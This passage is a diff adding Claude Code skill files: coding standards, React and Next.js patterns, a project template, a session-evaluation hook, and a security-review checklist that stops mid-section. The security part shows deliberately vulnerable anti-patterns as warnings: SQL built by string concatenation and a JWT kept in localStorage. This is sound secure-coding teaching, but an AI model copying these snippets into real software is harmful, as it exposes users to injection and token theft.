+// ✅ GOOD: Lazy load heavy components
+const HeavyChart = lazy(() => import('./HeavyChart'))
+
+export function Dashboard() {
+  return (
+    <Suspense fallback={<Spinner />}>
+      <HeavyChart />
+    </Suspense>
+  )
+}
+```
+
+### Database Queries
+
+```typescript
+// ✅ GOOD: Select only needed columns
+const { data } = await supabase
+  .from('markets')
+  .select('id, name, status')
+  .limit(10)
+
+// ❌ BAD: Select everything
+const { data } = await supabase
+  .from('markets')
+  .select('*')
+```
+
+## Testing Standards
+
+### Test Structure (AAA Pattern)
+
+```typescript
+test('calculates similarity correctly', () => {
+  // Arrange
+  const vector1 = [1, 0, 0]
+  const vector2 = [0, 1, 0]
+
+  // Act
+  const similarity = calculateCosineSimilarity(vector1, vector2)
+
+  // Assert
+  expect(similarity).toBe(0)
+})
+```
+
+### Test Naming
+
+```typescript
+// ✅ GOOD: Descriptive test names
+test('returns empty array when no markets match query', () => { })
+test('throws error when OpenAI API key is missing', () => { })
+test('falls back to substring search when Redis unavailable', () => { })
+
+// ❌ BAD: Vague test names
+test('works', () => { })
+test('test search', () => { })
+```
+
+## Code Smell Detection
+
+Watch for these anti-patterns:
+
+### 1. Long Functions
+```typescript
+// ❌ BAD: Function > 50 lines
+function processMarketData() {
+  // 100 lines of code
+}
+
+// ✅ GOOD: Split into smaller functions
+function processMarketData() {
+  const validated = validateData()
+  const transformed = transformData(validated)
+  return saveData(transformed)
+}
+```
+
+### 2. Deep Nesting
+```typescript
+// ❌ BAD: 5+ levels of nesting
+if (user) {
+  if (user.isAdmin) {
+    if (market) {
+      if (market.isActive) {
+        if (hasPermission) {
+          // Do something
+        }
+      }
+    }
+  }
+}
+
+// ✅ GOOD: Early returns
+if (!user) return
+if (!user.isAdmin) return
+if (!market) return
+if (!market.isActive) return
+if (!hasPermission) return
+
+// Do something
+```
+
+### 3. Magic Numbers
+```typescript
+// ❌ BAD: Unexplained numbers
+if (retryCount > 3) { }
+setTimeout(callback, 500)
+
+// ✅ GOOD: Named constants
+const MAX_RETRIES = 3
+const DEBOUNCE_DELAY_MS = 500
+
+if (retryCount > MAX_RETRIES) { }
+setTimeout(callback, DEBOUNCE_DELAY_MS)
+```
+
+**Remember**: Code quality is not negotiable. Clear, maintainable code enables rapid development and confident refactoring.

skills/cc-skill-continuous-learning/SKILL.md

@@ -0,0 +1,10 @@
+---
+name: cc-skill-continuous-learning
+description: Development skill from everything-claude-code
+author: affaan-m
+version: "1.0"
+---
+
+# cc-skill-continuous-learning
+
+Development skill skill.

skills/cc-skill-continuous-learning/config.json

@@ -0,0 +1,18 @@
+{
+  "min_session_length": 10,
+  "extraction_threshold": "medium",
+  "auto_approve": false,
+  "learned_skills_path": "~/.claude/skills/learned/",
+  "patterns_to_detect": [
+    "error_resolution",
+    "user_corrections",
+    "workarounds",
+    "debugging_techniques",
+    "project_specific"
+  ],
+  "ignore_patterns": [
+    "simple_typos",
+    "one_time_fixes",
+    "external_api_issues"
+  ]
+}

skills/cc-skill-continuous-learning/evaluate-session.sh

@@ -0,0 +1,60 @@
+#!/bin/bash
+# Continuous Learning - Session Evaluator
+# Runs on Stop hook to extract reusable patterns from Claude Code sessions
+#
+# Why Stop hook instead of UserPromptSubmit:
+# - Stop runs once at session end (lightweight)
+# - UserPromptSubmit runs every message (heavy, adds latency)
+#
+# Hook config (in ~/.claude/settings.json):
+# {
+#   "hooks": {
+#     "Stop": [{
+#       "matcher": "*",
+#       "hooks": [{
+#         "type": "command",
+#         "command": "~/.claude/skills/continuous-learning/evaluate-session.sh"
+#       }]
+#     }]
+#   }
+# }
+#
+# Patterns to detect: error_resolution, debugging_techniques, workarounds, project_specific
+# Patterns to ignore: simple_typos, one_time_fixes, external_api_issues
+# Extracted skills saved to: ~/.claude/skills/learned/
+
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+CONFIG_FILE="$SCRIPT_DIR/config.json"
+LEARNED_SKILLS_PATH="${HOME}/.claude/skills/learned"
+MIN_SESSION_LENGTH=10
+
+# Load config if exists
+if [ -f "$CONFIG_FILE" ]; then
+  MIN_SESSION_LENGTH=$(jq -r '.min_session_length // 10' "$CONFIG_FILE")
+  LEARNED_SKILLS_PATH=$(jq -r '.learned_skills_path // "~/.claude/skills/learned/"' "$CONFIG_FILE" | sed "s|~|$HOME|")
+fi
+
+# Ensure learned skills directory exists
+mkdir -p "$LEARNED_SKILLS_PATH"
+
+# Get transcript path from environment (set by Claude Code)
+transcript_path="${CLAUDE_TRANSCRIPT_PATH:-}"
+
+if [ -z "$transcript_path" ] || [ ! -f "$transcript_path" ]; then
+  exit 0
+fi
+
+# Count messages in session
+message_count=$(grep -c '"type":"user"' "$transcript_path" 2>/dev/null || echo "0")
+
+# Skip short sessions
+if [ "$message_count" -lt "$MIN_SESSION_LENGTH" ]; then
+  echo "[ContinuousLearning] Session too short ($message_count messages), skipping" >&2
+  exit 0
+fi
+
+# Signal to Claude that session should be evaluated for extractable patterns
+echo "[ContinuousLearning] Session has $message_count messages - evaluate for extractable patterns" >&2
+echo "[ContinuousLearning] Save learned skills to: $LEARNED_SKILLS_PATH" >&2

skills/cc-skill-frontend-patterns/SKILL.md

@@ -0,0 +1,633 @@
+---
+name: frontend-patterns
+description: Frontend development patterns for React, Next.js, state management, performance optimization, and UI best practices.
+author: affaan-m
+version: "1.0"
+---
+
+# Frontend Development Patterns
+
+Modern frontend patterns for React, Next.js, and performant user interfaces.
+
+## Component Patterns
+
+### Composition Over Inheritance
+
+```typescript
+// ✅ GOOD: Component composition
+interface CardProps {
+  children: React.ReactNode
+  variant?: 'default' | 'outlined'
+}
+
+export function Card({ children, variant = 'default' }: CardProps) {
+  return <div className={`card card-${variant}`}>{children}</div>
+}
+
+export function CardHeader({ children }: { children: React.ReactNode }) {
+  return <div className="card-header">{children}</div>
+}
+
+export function CardBody({ children }: { children: React.ReactNode }) {
+  return <div className="card-body">{children}</div>
+}
+
+// Usage
+<Card>
+  <CardHeader>Title</CardHeader>
+  <CardBody>Content</CardBody>
+</Card>
+```
+
+### Compound Components
+
+```typescript
+interface TabsContextValue {
+  activeTab: string
+  setActiveTab: (tab: string) => void
+}
+
+const TabsContext = createContext<TabsContextValue | undefined>(undefined)
+
+export function Tabs({ children, defaultTab }: {
+  children: React.ReactNode
+  defaultTab: string
+}) {
+  const [activeTab, setActiveTab] = useState(defaultTab)
+
+  return (
+    <TabsContext.Provider value={{ activeTab, setActiveTab }}>
+      {children}
+    </TabsContext.Provider>
+  )
+}
+
+export function TabList({ children }: { children: React.ReactNode }) {
+  return <div className="tab-list">{children}</div>
+}
+
+export function Tab({ id, children }: { id: string, children: React.ReactNode }) {
+  const context = useContext(TabsContext)
+  if (!context) throw new Error('Tab must be used within Tabs')
+
+  return (
+    <button
+      className={context.activeTab === id ? 'active' : ''}
+      onClick={() => context.setActiveTab(id)}
+    >
+      {children}
+    </button>
+  )
+}
+
+// Usage
+<Tabs defaultTab="overview">
+  <TabList>
+    <Tab id="overview">Overview</Tab>
+    <Tab id="details">Details</Tab>
+  </TabList>
+</Tabs>
+```
+
+### Render Props Pattern
+
+```typescript
+interface DataLoaderProps<T> {
+  url: string
+  children: (data: T | null, loading: boolean, error: Error | null) => React.ReactNode
+}
+
+export function DataLoader<T>({ url, children }: DataLoaderProps<T>) {
+  const [data, setData] = useState<T | null>(null)
+  const [loading, setLoading] = useState(true)
+  const [error, setError] = useState<Error | null>(null)
+
+  useEffect(() => {
+    fetch(url)
+      .then(res => res.json())
+      .then(setData)
+      .catch(setError)
+      .finally(() => setLoading(false))
+  }, [url])
+
+  return <>{children(data, loading, error)}</>
+}
+
+// Usage
+<DataLoader<Market[]> url="/api/markets">
+  {(markets, loading, error) => {
+    if (loading) return <Spinner />
+    if (error) return <Error error={error} />
+    return <MarketList markets={markets!} />
+  }}
+</DataLoader>
+```
+
+## Custom Hooks Patterns
+
+### State Management Hook
+
+```typescript
+export function useToggle(initialValue = false): [boolean, () => void] {
+  const [value, setValue] = useState(initialValue)
+
+  const toggle = useCallback(() => {
+    setValue(v => !v)
+  }, [])
+
+  return [value, toggle]
+}
+
+// Usage
+const [isOpen, toggleOpen] = useToggle()
+```
+
+### Async Data Fetching Hook
+
+```typescript
+interface UseQueryOptions<T> {
+  onSuccess?: (data: T) => void
+  onError?: (error: Error) => void
+  enabled?: boolean
+}
+
+export function useQuery<T>(
+  key: string,
+  fetcher: () => Promise<T>,
+  options?: UseQueryOptions<T>
+) {
+  const [data, setData] = useState<T | null>(null)
+  const [error, setError] = useState<Error | null>(null)
+  const [loading, setLoading] = useState(false)
+
+  const refetch = useCallback(async () => {
+    setLoading(true)
+    setError(null)
+
+    try {
+      const result = await fetcher()
+      setData(result)
+      options?.onSuccess?.(result)
+    } catch (err) {
+      const error = err as Error
+      setError(error)
+      options?.onError?.(error)
+    } finally {
+      setLoading(false)
+    }
+  }, [fetcher, options])
+
+  useEffect(() => {
+    if (options?.enabled !== false) {
+      refetch()
+    }
+  }, [key, refetch, options?.enabled])
+
+  return { data, error, loading, refetch }
+}
+
+// Usage
+const { data: markets, loading, error, refetch } = useQuery(
+  'markets',
+  () => fetch('/api/markets').then(r => r.json()),
+  {
+    onSuccess: data => console.log('Fetched', data.length, 'markets'),
+    onError: err => console.error('Failed:', err)
+  }
+)
+```
+
+### Debounce Hook
+
+```typescript
+export function useDebounce<T>(value: T, delay: number): T {
+  const [debouncedValue, setDebouncedValue] = useState<T>(value)
+
+  useEffect(() => {
+    const handler = setTimeout(() => {
+      setDebouncedValue(value)
+    }, delay)
+
+    return () => clearTimeout(handler)
+  }, [value, delay])
+
+  return debouncedValue
+}
+
+// Usage
+const [searchQuery, setSearchQuery] = useState('')
+const debouncedQuery = useDebounce(searchQuery, 500)
+
+useEffect(() => {
+  if (debouncedQuery) {
+    performSearch(debouncedQuery)
+  }
+}, [debouncedQuery])
+```
+
+## State Management Patterns
+
+### Context + Reducer Pattern
+
+```typescript
+interface State {
+  markets: Market[]
+  selectedMarket: Market | null
+  loading: boolean
+}
+
+type Action =
+  | { type: 'SET_MARKETS'; payload: Market[] }
+  | { type: 'SELECT_MARKET'; payload: Market }
+  | { type: 'SET_LOADING'; payload: boolean }
+
+function reducer(state: State, action: Action): State {
+  switch (action.type) {
+    case 'SET_MARKETS':
+      return { ...state, markets: action.payload }
+    case 'SELECT_MARKET':
+      return { ...state, selectedMarket: action.payload }
+    case 'SET_LOADING':
+      return { ...state, loading: action.payload }
+    default:
+      return state
+  }
+}
+
+const MarketContext = createContext<{
+  state: State
+  dispatch: Dispatch<Action>
+} | undefined>(undefined)
+
+export function MarketProvider({ children }: { children: React.ReactNode }) {
+  const [state, dispatch] = useReducer(reducer, {
+    markets: [],
+    selectedMarket: null,
+    loading: false
+  })
+
+  return (
+    <MarketContext.Provider value={{ state, dispatch }}>
+      {children}
+    </MarketContext.Provider>
+  )
+}
+
+export function useMarkets() {
+  const context = useContext(MarketContext)
+  if (!context) throw new Error('useMarkets must be used within MarketProvider')
+  return context
+}
+```
+
+## Performance Optimization
+
+### Memoization
+
+```typescript
+// ✅ useMemo for expensive computations
+const sortedMarkets = useMemo(() => {
+  return markets.sort((a, b) => b.volume - a.volume)
+}, [markets])
+
+// ✅ useCallback for functions passed to children
+const handleSearch = useCallback((query: string) => {
+  setSearchQuery(query)
+}, [])
+
+// ✅ React.memo for pure components
+export const MarketCard = React.memo<MarketCardProps>(({ market }) => {
+  return (
+    <div className="market-card">
+      <h3>{market.name}</h3>
+      <p>{market.description}</p>
+    </div>
+  )
+})
+```
+
+### Code Splitting & Lazy Loading
+
+```typescript
+import { lazy, Suspense } from 'react'
+
+// ✅ Lazy load heavy components
+const HeavyChart = lazy(() => import('./HeavyChart'))
+const ThreeJsBackground = lazy(() => import('./ThreeJsBackground'))
+
+export function Dashboard() {
+  return (
+    <div>
+      <Suspense fallback={<ChartSkeleton />}>
+        <HeavyChart data={data} />
+      </Suspense>
+
+      <Suspense fallback={null}>
+        <ThreeJsBackground />
+      </Suspense>
+    </div>
+  )
+}
+```
+
+### Virtualization for Long Lists
+
+```typescript
+import { useVirtualizer } from '@tanstack/react-virtual'
+
+export function VirtualMarketList({ markets }: { markets: Market[] }) {
+  const parentRef = useRef<HTMLDivElement>(null)
+
+  const virtualizer = useVirtualizer({
+    count: markets.length,
+    getScrollElement: () => parentRef.current,
+    estimateSize: () => 100,  // Estimated row height
+    overscan: 5  // Extra items to render
+  })
+
+  return (
+    <div ref={parentRef} style={{ height: '600px', overflow: 'auto' }}>
+      <div
+        style={{
+          height: `${virtualizer.getTotalSize()}px`,
+          position: 'relative'
+        }}
+      >
+        {virtualizer.getVirtualItems().map(virtualRow => (
+          <div
+            key={virtualRow.index}
+            style={{
+              position: 'absolute',
+              top: 0,
+              left: 0,
+              width: '100%',
+              height: `${virtualRow.size}px`,
+              transform: `translateY(${virtualRow.start}px)`
+            }}
+          >
+            <MarketCard market={markets[virtualRow.index]} />
+          </div>
+        ))}
+      </div>
+    </div>
+  )
+}
+```
+
+## Form Handling Patterns
+
+### Controlled Form with Validation
+
+```typescript
+interface FormData {
+  name: string
+  description: string
+  endDate: string
+}
+
+interface FormErrors {
+  name?: string
+  description?: string
+  endDate?: string
+}
+
+export function CreateMarketForm() {
+  const [formData, setFormData] = useState<FormData>({
+    name: '',
+    description: '',
+    endDate: ''
+  })
+
+  const [errors, setErrors] = useState<FormErrors>({})
+
+  const validate = (): boolean => {
+    const newErrors: FormErrors = {}
+
+    if (!formData.name.trim()) {
+      newErrors.name = 'Name is required'
+    } else if (formData.name.length > 200) {
+      newErrors.name = 'Name must be under 200 characters'
+    }
+
+    if (!formData.description.trim()) {
+      newErrors.description = 'Description is required'
+    }
+
+    if (!formData.endDate) {
+      newErrors.endDate = 'End date is required'
+    }
+
+    setErrors(newErrors)
+    return Object.keys(newErrors).length === 0
+  }
+
+  const handleSubmit = async (e: React.FormEvent) => {
+    e.preventDefault()
+
+    if (!validate()) return
+
+    try {
+      await createMarket(formData)
+      // Success handling
+    } catch (error) {
+      // Error handling
+    }
+  }
+
+  return (
+    <form onSubmit={handleSubmit}>
+      <input
+        value={formData.name}
+        onChange={e => setFormData(prev => ({ ...prev, name: e.target.value }))}
+        placeholder="Market name"
+      />
+      {errors.name && <span className="error">{errors.name}</span>}
+
+      {/* Other fields */}
+
+      <button type="submit">Create Market</button>
+    </form>
+  )
+}
+```
+
+## Error Boundary Pattern
+
+```typescript
+interface ErrorBoundaryState {
+  hasError: boolean
+  error: Error | null
+}
+
+export class ErrorBoundary extends React.Component<
+  { children: React.ReactNode },
+  ErrorBoundaryState
+> {
+  state: ErrorBoundaryState = {
+    hasError: false,
+    error: null
+  }
+
+  static getDerivedStateFromError(error: Error): ErrorBoundaryState {
+    return { hasError: true, error }
+  }
+
+  componentDidCatch(error: Error, errorInfo: React.ErrorInfo) {
+    console.error('Error boundary caught:', error, errorInfo)
+  }
+
+  render() {
+    if (this.state.hasError) {
+      return (
+        <div className="error-fallback">
+          <h2>Something went wrong</h2>
+          <p>{this.state.error?.message}</p>
+          <button onClick={() => this.setState({ hasError: false })}>
+            Try again
+          </button>
+        </div>
+      )
+    }
+
+    return this.props.children
+  }
+}
+
+// Usage
+<ErrorBoundary>
+  <App />
+</ErrorBoundary>
+```
+
+## Animation Patterns
+
+### Framer Motion Animations
+
+```typescript
+import { motion, AnimatePresence } from 'framer-motion'
+
+// ✅ List animations
+export function AnimatedMarketList({ markets }: { markets: Market[] }) {
+  return (
+    <AnimatePresence>
+      {markets.map(market => (
+        <motion.div
+          key={market.id}
+          initial={{ opacity: 0, y: 20 }}
+          animate={{ opacity: 1, y: 0 }}
+          exit={{ opacity: 0, y: -20 }}
+          transition={{ duration: 0.3 }}
+        >
+          <MarketCard market={market} />
+        </motion.div>
+      ))}
+    </AnimatePresence>
+  )
+}
+
+// ✅ Modal animations
+export function Modal({ isOpen, onClose, children }: ModalProps) {
+  return (
+    <AnimatePresence>
+      {isOpen && (
+        <>
+          <motion.div
+            className="modal-overlay"
+            initial={{ opacity: 0 }}
+            animate={{ opacity: 1 }}
+            exit={{ opacity: 0 }}
+            onClick={onClose}
+          />
+          <motion.div
+            className="modal-content"
+            initial={{ opacity: 0, scale: 0.9, y: 20 }}
+            animate={{ opacity: 1, scale: 1, y: 0 }}
+            exit={{ opacity: 0, scale: 0.9, y: 20 }}
+          >
+            {children}
+          </motion.div>
+        </>
+      )}
+    </AnimatePresence>
+  )
+}
+```
+
+## Accessibility Patterns
+
+### Keyboard Navigation
+
+```typescript
+export function Dropdown({ options, onSelect }: DropdownProps) {
+  const [isOpen, setIsOpen] = useState(false)
+  const [activeIndex, setActiveIndex] = useState(0)
+
+  const handleKeyDown = (e: React.KeyboardEvent) => {
+    switch (e.key) {
+      case 'ArrowDown':
+        e.preventDefault()
+        setActiveIndex(i => Math.min(i + 1, options.length - 1))
+        break
+      case 'ArrowUp':
+        e.preventDefault()
+        setActiveIndex(i => Math.max(i - 1, 0))
+        break
+      case 'Enter':
+        e.preventDefault()
+        onSelect(options[activeIndex])
+        setIsOpen(false)
+        break
+      case 'Escape':
+        setIsOpen(false)
+        break
+    }
+  }
+
+  return (
+    <div
+      role="combobox"
+      aria-expanded={isOpen}
+      aria-haspopup="listbox"
+      onKeyDown={handleKeyDown}
+    >
+      {/* Dropdown implementation */}
+    </div>
+  )
+}
+```
+
+### Focus Management
+
+```typescript
+export function Modal({ isOpen, onClose, children }: ModalProps) {
+  const modalRef = useRef<HTMLDivElement>(null)
+  const previousFocusRef = useRef<HTMLElement | null>(null)
+
+  useEffect(() => {
+    if (isOpen) {
+      // Save currently focused element
+      previousFocusRef.current = document.activeElement as HTMLElement
+
+      // Focus modal
+      modalRef.current?.focus()
+    } else {
+      // Restore focus when closing
+      previousFocusRef.current?.focus()
+    }
+  }, [isOpen])
+
+  return isOpen ? (
+    <div
+      ref={modalRef}
+      role="dialog"
+      aria-modal="true"
+      tabIndex={-1}
+      onKeyDown={e => e.key === 'Escape' && onClose()}
+    >
+      {children}
+    </div>
+  ) : null
+}
+```
+
+**Remember**: Modern frontend patterns enable maintainable, performant user interfaces. Choose patterns that fit your project complexity.

skills/cc-skill-project-guidelines-example/SKILL.md

@@ -0,0 +1,352 @@
+---
+name: cc-skill-project-guidelines-example
+description: Project Guidelines Skill (Example)
+author: affaan-m
+version: "1.0"
+---
+
+# Project Guidelines Skill (Example)
+
+This is an example of a project-specific skill. Use this as a template for your own projects.
+
+Based on a real production application: [Zenith](https://zenith.chat) - AI-powered customer discovery platform.
+
+---
+
+## When to Use
+
+Reference this skill when working on the specific project it's designed for. Project skills contain:
+- Architecture overview
+- File structure
+- Code patterns
+- Testing requirements
+- Deployment workflow
+
+---
+
+## Architecture Overview
+
+**Tech Stack:**
+- **Frontend**: Next.js 15 (App Router), TypeScript, React
+- **Backend**: FastAPI (Python), Pydantic models
+- **Database**: Supabase (PostgreSQL)
+- **AI**: Claude API with tool calling and structured output
+- **Deployment**: Google Cloud Run
+- **Testing**: Playwright (E2E), pytest (backend), React Testing Library
+
+**Services:**
+```
+┌─────────────────────────────────────────────────────────────┐
+│                         Frontend                            │
+│  Next.js 15 + TypeScript + TailwindCSS                     │
+│  Deployed: Vercel / Cloud Run                              │
+└─────────────────────────────────────────────────────────────┘
+                              │
+                              ▼
+┌─────────────────────────────────────────────────────────────┐
+│                         Backend                             │
+│  FastAPI + Python 3.11 + Pydantic                          │
+│  Deployed: Cloud Run                                       │
+└─────────────────────────────────────────────────────────────┘
+                              │
+              ┌───────────────┼───────────────┐
+              ▼               ▼               ▼
+        ┌──────────┐   ┌──────────┐   ┌──────────┐
+        │ Supabase │   │  Claude  │   │  Redis   │
+        │ Database │   │   API    │   │  Cache   │
+        └──────────┘   └──────────┘   └──────────┘
+```
+
+---
+
+## File Structure
+
+```
+project/
+├── frontend/
+│   └── src/
+│       ├── app/              # Next.js app router pages
+│       │   ├── api/          # API routes
+│       │   ├── (auth)/       # Auth-protected routes
+│       │   └── workspace/    # Main app workspace
+│       ├── components/       # React components
+│       │   ├── ui/           # Base UI components
+│       │   ├── forms/        # Form components
+│       │   └── layouts/      # Layout components
+│       ├── hooks/            # Custom React hooks
+│       ├── lib/              # Utilities
+│       ├── types/            # TypeScript definitions
+│       └── config/           # Configuration
+│
+├── backend/
+│   ├── routers/              # FastAPI route handlers
+│   ├── models.py             # Pydantic models
+│   ├── main.py               # FastAPI app entry
+│   ├── auth_system.py        # Authentication
+│   ├── database.py           # Database operations
+│   ├── services/             # Business logic
+│   └── tests/                # pytest tests
+│
+├── deploy/                   # Deployment configs
+├── docs/                     # Documentation
+└── scripts/                  # Utility scripts
+```
+
+---
+
+## Code Patterns
+
+### API Response Format (FastAPI)
+
+```python
+from pydantic import BaseModel
+from typing import Generic, TypeVar, Optional
+
+T = TypeVar('T')
+
+class ApiResponse(BaseModel, Generic[T]):
+    success: bool
+    data: Optional[T] = None
+    error: Optional[str] = None
+
+    @classmethod
+    def ok(cls, data: T) -> "ApiResponse[T]":
+        return cls(success=True, data=data)
+
+    @classmethod
+    def fail(cls, error: str) -> "ApiResponse[T]":
+        return cls(success=False, error=error)
+```
+
+### Frontend API Calls (TypeScript)
+
+```typescript
+interface ApiResponse<T> {
+  success: boolean
+  data?: T
+  error?: string
+}
+
+async function fetchApi<T>(
+  endpoint: string,
+  options?: RequestInit
+): Promise<ApiResponse<T>> {
+  try {
+    const response = await fetch(`/api${endpoint}`, {
+      ...options,
+      headers: {
+        'Content-Type': 'application/json',
+        ...options?.headers,
+      },
+    })
+
+    if (!response.ok) {
+      return { success: false, error: `HTTP ${response.status}` }
+    }
+
+    return await response.json()
+  } catch (error) {
+    return { success: false, error: String(error) }
+  }
+}
+```
+
+### Claude AI Integration (Structured Output)
+
+```python
+from anthropic import Anthropic
+from pydantic import BaseModel
+
+class AnalysisResult(BaseModel):
+    summary: str
+    key_points: list[str]
+    confidence: float
+
+async def analyze_with_claude(content: str) -> AnalysisResult:
+    client = Anthropic()
+
+    response = client.messages.create(
+        model="claude-sonnet-4-5-20250514",
+        max_tokens=1024,
+        messages=[{"role": "user", "content": content}],
+        tools=[{
+            "name": "provide_analysis",
+            "description": "Provide structured analysis",
+            "input_schema": AnalysisResult.model_json_schema()
+        }],
+        tool_choice={"type": "tool", "name": "provide_analysis"}
+    )
+
+    # Extract tool use result
+    tool_use = next(
+        block for block in response.content
+        if block.type == "tool_use"
+    )
+
+    return AnalysisResult(**tool_use.input)
+```
+
+### Custom Hooks (React)
+
+```typescript
+import { useState, useCallback } from 'react'
+
+interface UseApiState<T> {
+  data: T | null
+  loading: boolean
+  error: string | null
+}
+
+export function useApi<T>(
+  fetchFn: () => Promise<ApiResponse<T>>
+) {
+  const [state, setState] = useState<UseApiState<T>>({
+    data: null,
+    loading: false,
+    error: null,
+  })
+
+  const execute = useCallback(async () => {
+    setState(prev => ({ ...prev, loading: true, error: null }))
+
+    const result = await fetchFn()
+
+    if (result.success) {
+      setState({ data: result.data!, loading: false, error: null })
+    } else {
+      setState({ data: null, loading: false, error: result.error! })
+    }
+  }, [fetchFn])
+
+  return { ...state, execute }
+}
+```
+
+---
+
+## Testing Requirements
+
+### Backend (pytest)
+
+```bash
+# Run all tests
+poetry run pytest tests/
+
+# Run with coverage
+poetry run pytest tests/ --cov=. --cov-report=html
+
+# Run specific test file
+poetry run pytest tests/test_auth.py -v
+```
+
+**Test structure:**
+```python
+import pytest
+from httpx import AsyncClient
+from main import app
+
+@pytest.fixture
+async def client():
+    async with AsyncClient(app=app, base_url="http://test") as ac:
+        yield ac
+
+@pytest.mark.asyncio
+async def test_health_check(client: AsyncClient):
+    response = await client.get("/health")
+    assert response.status_code == 200
+    assert response.json()["status"] == "healthy"
+```
+
+### Frontend (React Testing Library)
+
+```bash
+# Run tests
+npm run test
+
+# Run with coverage
+npm run test -- --coverage
+
+# Run E2E tests
+npm run test:e2e
+```
+
+**Test structure:**
+```typescript
+import { render, screen, fireEvent } from '@testing-library/react'
+import { WorkspacePanel } from './WorkspacePanel'
+
+describe('WorkspacePanel', () => {
+  it('renders workspace correctly', () => {
+    render(<WorkspacePanel />)
+    expect(screen.getByRole('main')).toBeInTheDocument()
+  })
+
+  it('handles session creation', async () => {
+    render(<WorkspacePanel />)
+    fireEvent.click(screen.getByText('New Session'))
+    expect(await screen.findByText('Session created')).toBeInTheDocument()
+  })
+})
+```
+
+---
+
+## Deployment Workflow
+
+### Pre-Deployment Checklist
+
+- [ ] All tests passing locally
+- [ ] `npm run build` succeeds (frontend)
+- [ ] `poetry run pytest` passes (backend)
+- [ ] No hardcoded secrets
+- [ ] Environment variables documented
+- [ ] Database migrations ready
+
+### Deployment Commands
+
+```bash
+# Build and deploy frontend
+cd frontend && npm run build
+gcloud run deploy frontend --source .
+
+# Build and deploy backend
+cd backend
+gcloud run deploy backend --source .
+```
+
+### Environment Variables
+
+```bash
+# Frontend (.env.local)
+NEXT_PUBLIC_API_URL=https://api.example.com
+NEXT_PUBLIC_SUPABASE_URL=https://xxx.supabase.co
+NEXT_PUBLIC_SUPABASE_ANON_KEY=eyJ...
+
+# Backend (.env)
+DATABASE_URL=postgresql://...
+ANTHROPIC_API_KEY=sk-ant-...
+SUPABASE_URL=https://xxx.supabase.co
+SUPABASE_KEY=eyJ...
+```
+
+---
+
+## Critical Rules
+
+1. **No emojis** in code, comments, or documentation
+2. **Immutability** - never mutate objects or arrays
+3. **TDD** - write tests before implementation
+4. **80% coverage** minimum
+5. **Many small files** - 200-400 lines typical, 800 max
+6. **No console.log** in production code
+7. **Proper error handling** with try/catch
+8. **Input validation** with Pydantic/Zod
+
+---
+
+## Related Skills
+
+- `coding-standards.md` - General coding best practices
+- `backend-patterns.md` - API and database patterns
+- `frontend-patterns.md` - React and Next.js patterns
+- `tdd-workflow/` - Test-driven development methodology

skills/cc-skill-security-review/SKILL.md

@@ -0,0 +1,496 @@
+---
+name: security-review
+description: Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist and patterns.
+author: affaan-m
+version: "1.0"
+---
+
+# Security Review Skill
+
+This skill ensures all code follows security best practices and identifies potential vulnerabilities.
+
+## When to Activate
+
+- Implementing authentication or authorization
+- Handling user input or file uploads
+- Creating new API endpoints
+- Working with secrets or credentials
+- Implementing payment features
+- Storing or transmitting sensitive data
+- Integrating third-party APIs
+
+## Security Checklist
+
+### 1. Secrets Management
+
+#### ❌ NEVER Do This
+```typescript
+const apiKey = "sk-proj-xxxxx"  // Hardcoded secret
+const dbPassword = "password123" // In source code
+```
+
+#### ✅ ALWAYS Do This
+```typescript
+const apiKey = process.env.OPENAI_API_KEY
+const dbUrl = process.env.DATABASE_URL
+
+// Verify secrets exist
+if (!apiKey) {
+  throw new Error('OPENAI_API_KEY not configured')
+}
+```
+
+#### Verification Steps
+- [ ] No hardcoded API keys, tokens, or passwords
+- [ ] All secrets in environment variables
+- [ ] `.env.local` in .gitignore
+- [ ] No secrets in git history
+- [ ] Production secrets in hosting platform (Vercel, Railway)
+
+### 2. Input Validation
+
+#### Always Validate User Input
+```typescript
+import { z } from 'zod'
+
+// Define validation schema
+const CreateUserSchema = z.object({
+  email: z.string().email(),
+  name: z.string().min(1).max(100),
+  age: z.number().int().min(0).max(150)
+})
+
+// Validate before processing
+export async function createUser(input: unknown) {
+  try {
+    const validated = CreateUserSchema.parse(input)
+    return await db.users.create(validated)
+  } catch (error) {
+    if (error instanceof z.ZodError) {
+      return { success: false, errors: error.errors }
+    }
+    throw error
+  }
+}
+```
+
+#### File Upload Validation
+```typescript
+function validateFileUpload(file: File) {
+  // Size check (5MB max)
+  const maxSize = 5 * 1024 * 1024
+  if (file.size > maxSize) {
+    throw new Error('File too large (max 5MB)')
+  }
+
+  // Type check
+  const allowedTypes = ['image/jpeg', 'image/png', 'image/gif']
+  if (!allowedTypes.includes(file.type)) {
+    throw new Error('Invalid file type')
+  }
+
+  // Extension check
+  const allowedExtensions = ['.jpg', '.jpeg', '.png', '.gif']
+  const extension = file.name.toLowerCase().match(/\.[^.]+$/)?.[0]
+  if (!extension || !allowedExtensions.includes(extension)) {
+    throw new Error('Invalid file extension')
+  }
+
+  return true
+}
+```
+
+#### Verification Steps
+- [ ] All user inputs validated with schemas
+- [ ] File uploads restricted (size, type, extension)
+- [ ] No direct use of user input in queries
+- [ ] Whitelist validation (not blacklist)
+- [ ] Error messages don't leak sensitive info
+
+### 3. SQL Injection Prevention
+
+#### ❌ NEVER Concatenate SQL
+```typescript
+// DANGEROUS - SQL Injection vulnerability
+const query = `SELECT * FROM users WHERE email = '${userEmail}'`
+await db.query(query)
+```
+
+#### ✅ ALWAYS Use Parameterized Queries
+```typescript
+// Safe - parameterized query
+const { data } = await supabase
+  .from('users')
+  .select('*')
+  .eq('email', userEmail)
+
+// Or with raw SQL
+await db.query(
+  'SELECT * FROM users WHERE email = $1',
+  [userEmail]
+)
+```
+
+#### Verification Steps
+- [ ] All database queries use parameterized queries
+- [ ] No string concatenation in SQL
+- [ ] ORM/query builder used correctly
+- [ ] Supabase queries properly sanitized
+
+### 4. Authentication & Authorization
+
+#### JWT Token Handling
+```typescript
+// ❌ WRONG: localStorage (vulnerable to XSS)
+localStorage.setItem('token', token)
+
+// ✅ CORRECT: httpOnly cookies
+res.setHeader('Set-Cookie',
+  `token=${token}; HttpOnly; Secure; SameSite=Strict; Max-Age=3600`)
+```
+
+#### Authorization Checks
+```typescript
+export async function deleteUser(userId: string, requesterId: string) {
+  // ALWAYS verify authorization first
+  const requester = await db.users.findUnique({
+    where: { id: requesterId }
+  })
+
+  if (requester.role !== 'admin') {
+    return NextResponse.json(
